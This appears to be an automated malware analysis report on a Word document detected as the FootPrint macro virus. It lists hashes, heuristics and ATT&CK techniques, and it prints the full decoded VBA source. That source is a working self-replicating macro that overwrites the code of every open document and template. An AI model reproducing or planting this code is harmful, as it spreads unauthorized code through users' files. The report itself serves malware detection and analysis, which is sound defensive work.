Office (OLE) malware analysis — malicious · 5f0ef8f12ec41f77

MALICIOUS

Office (OLE)

45.5 KB Created: 2099-10-20 23:34:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-30

MD5: ac504c7790679c6801ee1c2a167bb700 SHA-1: ef72854dc8bd71af8a438be2e8501e0ff1cea65a SHA-256: 5f0ef8f12ec41f77cefae4e87cce6c0b277f55eb33e92518c64092fa04ffeb6e

208 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros that exhibit self-replication behavior, as indicated by the 'VBA macro-virus self-replication / AV tampering' heuristic. The Document_Open macro attempts to export its code to 'c:\footprint.$$$', process it, and then add it to other documents and templates, effectively spreading the malicious macro. The 'Kill "c:\footprint.$?"' command in Document_Close suggests an attempt to clean up or manage these temporary files.

Heuristics 4

ClamAV: Doc.Trojan.FootPrint-4 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.FootPrint-4
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
        adoc.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL
```
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Document_Open
```

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	2033 bytes
SHA-256: `4e3a137e5d3b207d46bcfb7fb96921720076a10bdd26663014f7dd4b71173dd0`
Detection ClamAV: Doc.Trojan.FootPrint-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Option Explicit Private Sub CheckBox1_Click() End Sub 'FootPrint Private Sub Document_Close() On Error Resume Next Kill "c:\footprint.$$?" Document_Open End Sub Private Sub Document_New() Document_Open End Sub Private Sub Document_Open() On Error Resume Next Dim al As String Dim adoc As Document Dim atpl As Template Dim CoL As Integer ThisDocument.VBProject.VBComponents("ThisDocument").Export "c:\footprint.$$$" Open "c:\footprint.$$$" For Input As #1 Open "c:\footprint.$$1" For Output As #2 Line Input #1, al Line Input #1, al Line Input #1, al Line Input #1, al While Not EOF(1) Line Input #1, al Print #2, al Wend Close 1 Close 2 For Each adoc In Documents adoc.Sections(1).Footers(wdHeaderFooterPrimary).Range.Text = adoc.FullName If Not adoc.CustomDocumentProperties("FootPrint1") Then adoc.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean CoL = adoc.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines adoc.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL adoc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1" End If Next For Each atpl In Templates If Not atpl.CustomDocumentProperties("FootPrint1") Then atpl.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean CoL = atpl.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines atpl.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL atpl.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1" End If Next End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.